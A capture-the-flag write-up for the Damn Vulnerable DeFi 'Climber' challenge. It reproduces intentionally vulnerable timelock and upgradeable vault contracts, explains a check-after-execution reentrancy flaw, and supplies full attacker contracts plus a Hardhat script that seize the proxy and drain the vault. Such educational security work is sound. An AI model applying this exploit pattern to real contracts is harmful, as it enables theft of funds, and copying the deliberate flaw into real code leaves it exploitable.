Climber
ClimberConstants.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/* ########################## */
/* ### TIMELOCK CONSTANTS ### */
/* ########################## */
// keccak256("ADMIN_ROLE");
bytes32 constant ADMIN_ROLE = 0xa49807205ce4d355092ef5a8a18f56e8913cf4a201fbe287825b095693c21775;
// keccak256("PROPOSER_ROLE");
bytes32 constant PROPOSER_ROLE = 0xb09aa5aeb3702cfd50b6b62bc4532604938f21248a27a1d5ca736082b6819cc1;
uint256 constant MAX_TARGETS = 256;
uint256 constant MIN_TARGETS = 0;
uint256 constant MAX_DELAY = 14 days;
/* ####################### */
/* ### VAULT CONSTANTS ### */
/* ####################### */
uint256 constant WITHDRAWAL_LIMIT = 1 ether;
uint256 constant WAITING_PERIOD = 15 days;
ClimberErrors.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
error CallerNotTimelock();
error NewDelayAboveMax();
error NotReadyForExecution(bytes32 operationId);
error InvalidTargetsCount();
error InvalidDataElementsCount();
error InvalidValuesCount();
error OperationAlreadyKnown(bytes32 operationId);
error CallerNotSweeper();
error InvalidWithdrawalAmount();
error InvalidWithdrawalTime();
ClimberTimelockBase.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/AccessControl.sol";
/**
* @title ClimberTimelockBase
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
abstract contract ClimberTimelockBase is AccessControl {
// Possible states for an operation in this timelock contract
enum OperationState {
Unknown,
Scheduled,
ReadyForExecution,
Executed
}
// Operation data tracked in this contract
struct Operation {
uint64 readyAtTimestamp; // timestamp at which the operation will be ready for execution
bool known; // whether the operation is registered in the timelock
bool executed; // whether the operation has been executed
}
// Operations are tracked by their bytes32 identifier
mapping(bytes32 => Operation) public operations;
uint64 public delay;
function getOperationState(bytes32 id) public view returns (OperationState state) {
Operation memory op = operations[id];
if (op.known) {
if (op.executed) {
state = OperationState.Executed;
} else if (block.timestamp < op.readyAtTimestamp) {
state = OperationState.Scheduled;
} else {
state = OperationState.ReadyForExecution;
}
} else {
state = OperationState.Unknown;
}
}
function getOperationId(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) public pure returns (bytes32) {
return keccak256(abi.encode(targets, values, dataElements, salt));
}
receive() external payable {}
}
ClimberTimelock.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "./ClimberTimelockBase.sol";
import {ADMIN_ROLE, PROPOSER_ROLE, MAX_TARGETS, MIN_TARGETS, MAX_DELAY} from "./ClimberConstants.sol";
import {
InvalidTargetsCount,
InvalidDataElementsCount,
InvalidValuesCount,
OperationAlreadyKnown,
NotReadyForExecution,
CallerNotTimelock,
NewDelayAboveMax
} from "./ClimberErrors.sol";
/**
* @title ClimberTimelock
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ClimberTimelock is ClimberTimelockBase {
using Address for address;
/**
* @notice Initial setup for roles and timelock delay.
* @param admin address of the account that will hold the ADMIN_ROLE role
* @param proposer address of the account that will hold the PROPOSER_ROLE role
*/
constructor(address admin, address proposer) {
_setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
_setRoleAdmin(PROPOSER_ROLE, ADMIN_ROLE);
_setupRole(ADMIN_ROLE, admin);
_setupRole(ADMIN_ROLE, address(this)); // self administration
_setupRole(PROPOSER_ROLE, proposer);
delay = 1 hours;
}
function schedule(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) external onlyRole(PROPOSER_ROLE) {
if (targets.length == MIN_TARGETS || targets.length >= MAX_TARGETS) {
revert InvalidTargetsCount();
}
if (targets.length != values.length) {
revert InvalidValuesCount();
}
if (targets.length != dataElements.length) {
revert InvalidDataElementsCount();
}
bytes32 id = getOperationId(targets, values, dataElements, salt);
if (getOperationState(id) != OperationState.Unknown) {
revert OperationAlreadyKnown(id);
}
operations[id].readyAtTimestamp = uint64(block.timestamp) + delay;
operations[id].known = true;
}
/**
* Anyone can execute what's been scheduled via `schedule`
*/
function execute(address[] calldata targets, uint256[] calldata values, bytes[] calldata dataElements, bytes32 salt)
external
payable
{
if (targets.length <= MIN_TARGETS) {
revert InvalidTargetsCount();
}
if (targets.length != values.length) {
revert InvalidValuesCount();
}
if (targets.length != dataElements.length) {
revert InvalidDataElementsCount();
}
bytes32 id = getOperationId(targets, values, dataElements, salt);
for (uint8 i = 0; i < targets.length;) {
targets[i].functionCallWithValue(dataElements[i], values[i]);
unchecked {
++i;
}
}
if (getOperationState(id) != OperationState.ReadyForExecution) {
revert NotReadyForExecution(id);
}
operations[id].executed = true;
}
function updateDelay(uint64 newDelay) external {
if (msg.sender != address(this)) {
revert CallerNotTimelock();
}
if (newDelay > MAX_DELAY) {
revert NewDelayAboveMax();
}
delay = newDelay;
}
}
ClimberVault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./ClimberTimelock.sol";
import {WITHDRAWAL_LIMIT, WAITING_PERIOD} from "./ClimberConstants.sol";
import {CallerNotSweeper, InvalidWithdrawalAmount, InvalidWithdrawalTime} from "./ClimberErrors.sol";
/**
* @title ClimberVault
* @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner.
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable {
uint256 private _lastWithdrawalTimestamp;
address private _sweeper;
modifier onlySweeper() {
if (msg.sender != _sweeper) {
revert CallerNotSweeper();
}
_;
}
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}
function initialize(address admin, address proposer, address sweeper) external initializer {
// Initialize inheritance chain
__Ownable_init();
__UUPSUpgradeable_init();
// Deploy timelock and transfer ownership to it
transferOwnership(address(new ClimberTimelock(admin, proposer)));
_setSweeper(sweeper);
_updateLastWithdrawalTimestamp(block.timestamp);
}
// Allows the owner to send a limited amount of tokens to a recipient every now and then
function withdraw(address token, address recipient, uint256 amount) external onlyOwner {
if (amount > WITHDRAWAL_LIMIT) {
revert InvalidWithdrawalAmount();
}
if (block.timestamp <= _lastWithdrawalTimestamp + WAITING_PERIOD) {
revert InvalidWithdrawalTime();
}
_updateLastWithdrawalTimestamp(block.timestamp);
SafeTransferLib.safeTransfer(token, recipient, amount);
}
// Allows trusted sweeper account to retrieve any tokens
function sweepFunds(address token) external onlySweeper {
SafeTransferLib.safeTransfer(token, _sweeper, IERC20(token).balanceOf(address(this)));
}
function getSweeper() external view returns (address) {
return _sweeper;
}
function _setSweeper(address newSweeper) private {
_sweeper = newSweeper;
}
function getLastWithdrawalTimestamp() external view returns (uint256) {
return _lastWithdrawalTimestamp;
}
function _updateLastWithdrawalTimestamp(uint256 timestamp) private {
_lastWithdrawalTimestamp = timestamp;
}
// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
}
Goal
To pass this challenge, we must take all DVT tokens from the vault (ClimberVault
contract).
Exploit
In this CTF, again, we are dealing with upgradeable proxies. The ClimberVault
is UUPSUpgradeable
proxy, which means there is a proxy contract at the front, and whenever we are interacting with the vault, a call is made to the proxy contract which then delegates call to the ClimberVault
(logic/implementation) contract.
When ClimberVault
contract is deployed, we can see that its initialize
function is called, and inside this function, among other things, the ownership to this contract is transferred to a newly instantiated ClimberTimelock
contract.
In order to exploit the ClimberVault
, we need to find a way to upgrade the proxy to point to a different version of the vault, and inside this new version we should set the malicious contract as the _sweeper
and sweep all the funds from the vault.
To do this we can make use of the ClimberTimelock
contract.
After inspecting the code inside ClimberTimelock
, we can see that the purpose of this contract is to schedule
and execute
transactions on a time basis. Since this contract is the owner of ClimberVault
, we can try to schedule
and execute
transactions that will trigger functions from the ClimberVaul
contract.
The reason ClimberTimelock
is vulnerable to attack is beacuse the following check is done after an effect has already taken place
if (getOperationState(id) != OperationState.ReadyForExecution) {
revert NotReadyForExecution(id);
}
if this check was before line 88, it would not have been possible to expolit this CTF.
This way ClimberTimelock
violates the checks-effects-interactions
and enables a reentrancy attack
.
The sequence of steps we need to take in order to abuse ClimberTimelock
is the following:
- create AttackerVault contract, this contract will be identical to ClimberVault, with only difference one difference, we will make _setSweeper function inside it to be public
-
prepare the necessary data in our
ClimberAttacker
contract that will be used as a function parameters to callexecute
function fromClimberTimelock
. This data will consists the following:
- array of addresses called targets, first and second items will hold the address of ClimberTimelock, third and fourth items will hold the address of ClimberVault, fift item will hold the value of the ClimberAttacker contract
- array of uints called values, they should be 0 so no need to assign anything to them
- array of bytes called dataElements, first item will hold the value of the abi encoded function signature of grantRole function (this will be used to set the ClimberAttacker to have the PROPOSER_ROLE in order for ClimberAttacker contract to be able to schedule transactions inside ClimberTimelock); second item will hold the value of the abi encoded function signature of updateDelay (this will be used to update the delay inside ClimberTimelock to 0, so we don't have to wait 1 hour to execute a scheduled transaction); third item will hold the value of the abi encoded function signature of upgradeTo (this will update the vault (ClimberVault) proxy to point to the newly created malicious contract AttackerVault which will be the new update version of the vault); fourth item will hold the value of the abi encoded function signature of _setSweeper (inside the new version of the vault, we will set _setSweepet to be public so anyone can call it and we will set the sweeper of the vault to be the ClimberAttacker contract); fifth item will hold the value of the abi encoded function signature of makeSchedule function (we will add this function inside ClimberAttacker contract, it will be a callback function that ClimberTimelock contract will call after executing the last transaction sent to execute function)
-
create attack function, inside this function we will call execute from ClimberTimelock with the previously prepared data, after the call has finished we will call sweepFunds() function from ClimberAttacker to sweep the funds from the vault
- create makeSchedule function, inside this function we will call schedule from ClimberTimelock with the previously prepared data, this is a callback function that will be triggered after the last transction from execute is called
Attacker contract code
ClimberAttacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { PROPOSER_ROLE } from "./ClimberConstants.sol";
contract ClimberAttacker {
address immutable timelock;
address immutable vault;
address immutable attackerVault;
address immutable token;
constructor(address payable _timelock, address _vault, address _attackerVault, address _token) {
timelock = _timelock;
vault = _vault;
attackerVault = _attackerVault;
token = _token;
}
// We call this function first (externally)
function attack() external {
bytes memory data = prepareData("execute(address[],uint256[],bytes[],bytes32)");
(bool ok, ) = address(timelock).call(data);
require(ok, "call failed");
// This is called last
sweepFunds();
}
// This is called second internally
function makeSchedule() external {
bytes memory data = prepareData("schedule(address[],uint256[],bytes[],bytes32)");
(bool ok, ) = address(timelock).call(data);
require(ok, "call failed");
}
function prepareData(string memory fnName) private view returns (bytes memory) {
address[] memory targets = new address[](5);
targets[0] = timelock;
targets[1] = targets[0];
targets[2] = vault;
targets[3] = targets[2];
targets[4] = address(this);
uint256[] memory values = new uint256[](5);
bytes[] memory dataElements = new bytes[](5);
dataElements[0] = abi.encodeWithSignature(
"grantRole(bytes32,address)",
PROPOSER_ROLE,
address(this)
);
dataElements[1] = abi.encodeWithSignature("updateDelay(uint64)", 0);
dataElements[2] = abi.encodeWithSignature(
"upgradeTo(address)",
attackerVault
);
dataElements[3] = abi.encodeWithSignature(
"_setSweeper(address)",
address(this)
);
dataElements[4] = abi.encodeWithSignature("makeSchedule()");
bytes memory data = abi.encodeWithSignature(
fnName,
targets,
values,
dataElements,
""
);
return data;
}
function sweepFunds() private {
bytes memory data = abi.encodeWithSignature("sweepFunds(address)", token);
(bool ok, ) = address(vault).call(data);
require(ok, "call failed");
IERC20(token).transfer(msg.sender, 10000000 ether);
}
}
AttackerVault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./ClimberTimelock.sol";
import {WITHDRAWAL_LIMIT, WAITING_PERIOD} from "./ClimberConstants.sol";
import {CallerNotSweeper, InvalidWithdrawalAmount, InvalidWithdrawalTime} from "./ClimberErrors.sol";
/**
* @title ClimberVault
* @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner.
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract AttackerVault is Initializable, OwnableUpgradeable, UUPSUpgradeable {
uint256 private _lastWithdrawalTimestamp;
address private _sweeper;
modifier onlySweeper() {
if (msg.sender != _sweeper) {
revert CallerNotSweeper();
}
_;
}
/// @custom:oz-upgrades-unsafe-allow constructor
constructor() {
_disableInitializers();
}
function initialize(address admin, address proposer, address sweeper) external initializer {
// Initialize inheritance chain
__Ownable_init();
__UUPSUpgradeable_init();
// Deploy timelock and transfer ownership to it
transferOwnership(address(new ClimberTimelock(admin, proposer)));
_setSweeper(sweeper);
_updateLastWithdrawalTimestamp(block.timestamp);
}
// Allows the owner to send a limited amount of tokens to a recipient every now and then
function withdraw(address token, address recipient, uint256 amount) external onlyOwner {
if (amount > WITHDRAWAL_LIMIT) {
revert InvalidWithdrawalAmount();
}
if (block.timestamp <= _lastWithdrawalTimestamp + WAITING_PERIOD) {
revert InvalidWithdrawalTime();
}
_updateLastWithdrawalTimestamp(block.timestamp);
SafeTransferLib.safeTransfer(token, recipient, amount);
}
// Allows trusted sweeper account to retrieve any tokens
function sweepFunds(address token) external onlySweeper {
SafeTransferLib.safeTransfer(token, _sweeper, IERC20(token).balanceOf(address(this)));
}
function getSweeper() external view returns (address) {
return _sweeper;
}
function _setSweeper(address newSweeper) public {
_sweeper = newSweeper;
}
function getLastWithdrawalTimestamp() external view returns (uint256) {
return _lastWithdrawalTimestamp;
}
function _updateLastWithdrawalTimestamp(uint256 timestamp) private {
_lastWithdrawalTimestamp = timestamp;
}
// By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
function _authorizeUpgrade(address newImplementation) internal override onlyOwner {}
}
Solution code
const { ethers, upgrades } = require('hardhat');
const { expect } = require('chai');
const { setBalance } = require('@nomicfoundation/hardhat-network-helpers');
describe('[Challenge] Climber', function () {
let deployer, proposer, sweeper, player;
let timelock, vault, token;
const VAULT_TOKEN_BALANCE = 10000000n * 10n ** 18n;
const PLAYER_INITIAL_ETH_BALANCE = 1n * 10n ** 17n;
const TIMELOCK_DELAY = 60 * 60;
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, proposer, sweeper, player] = await ethers.getSigners();
await setBalance(player.address, PLAYER_INITIAL_ETH_BALANCE);
expect(await ethers.provider.getBalance(player.address)).to.equal(PLAYER_INITIAL_ETH_BALANCE);
// Deploy the vault behind a proxy using the UUPS pattern,
// passing the necessary addresses for the `ClimberVault::initialize(address,address,address)` function
vault = await upgrades.deployProxy(
await ethers.getContractFactory('ClimberVault', deployer),
[ deployer.address, proposer.address, sweeper.address ],
{ kind: 'uups' }
);
expect(await vault.getSweeper()).to.eq(sweeper.address);
expect(await vault.getLastWithdrawalTimestamp()).to.be.gt(0);
expect(await vault.owner()).to.not.eq(ethers.constants.AddressZero);
expect(await vault.owner()).to.not.eq(deployer.address);
// Instantiate timelock
let timelockAddress = await vault.owner();
timelock = await (
await ethers.getContractFactory('ClimberTimelock', deployer)
).attach(timelockAddress);
// Ensure timelock delay is correct and cannot be changed
expect(await timelock.delay()).to.eq(TIMELOCK_DELAY);
await expect(timelock.updateDelay(TIMELOCK_DELAY + 1)).to.be.revertedWithCustomError(timelock, 'CallerNotTimelock');
// Ensure timelock roles are correctly initialized
expect(
await timelock.hasRole(ethers.utils.id("PROPOSER_ROLE"), proposer.address)
).to.be.true;
expect(
await timelock.hasRole(ethers.utils.id("ADMIN_ROLE"), deployer.address)
).to.be.true;
expect(
await timelock.hasRole(ethers.utils.id("ADMIN_ROLE"), timelock.address)
).to.be.true;
// Deploy token and transfer initial token balance to the vault
token = await (await ethers.getContractFactory('DamnValuableToken', deployer)).deploy();
await token.transfer(vault.address, VAULT_TOKEN_BALANCE);
});
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
attackerVault = await (await ethers.getContractFactory('AttackerVault', player)).deploy();
climberAttacker = await (await ethers.getContractFactory('ClimberAttacker', player)).deploy(
timelock.address,
vault.address,
attackerVault.address,
token.address
);
await climberAttacker.connect(player).attack();
});
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
expect(await token.balanceOf(vault.address)).to.eq(0);
expect(await token.balanceOf(player.address)).to.eq(VAULT_TOKEN_BALANCE);
});
});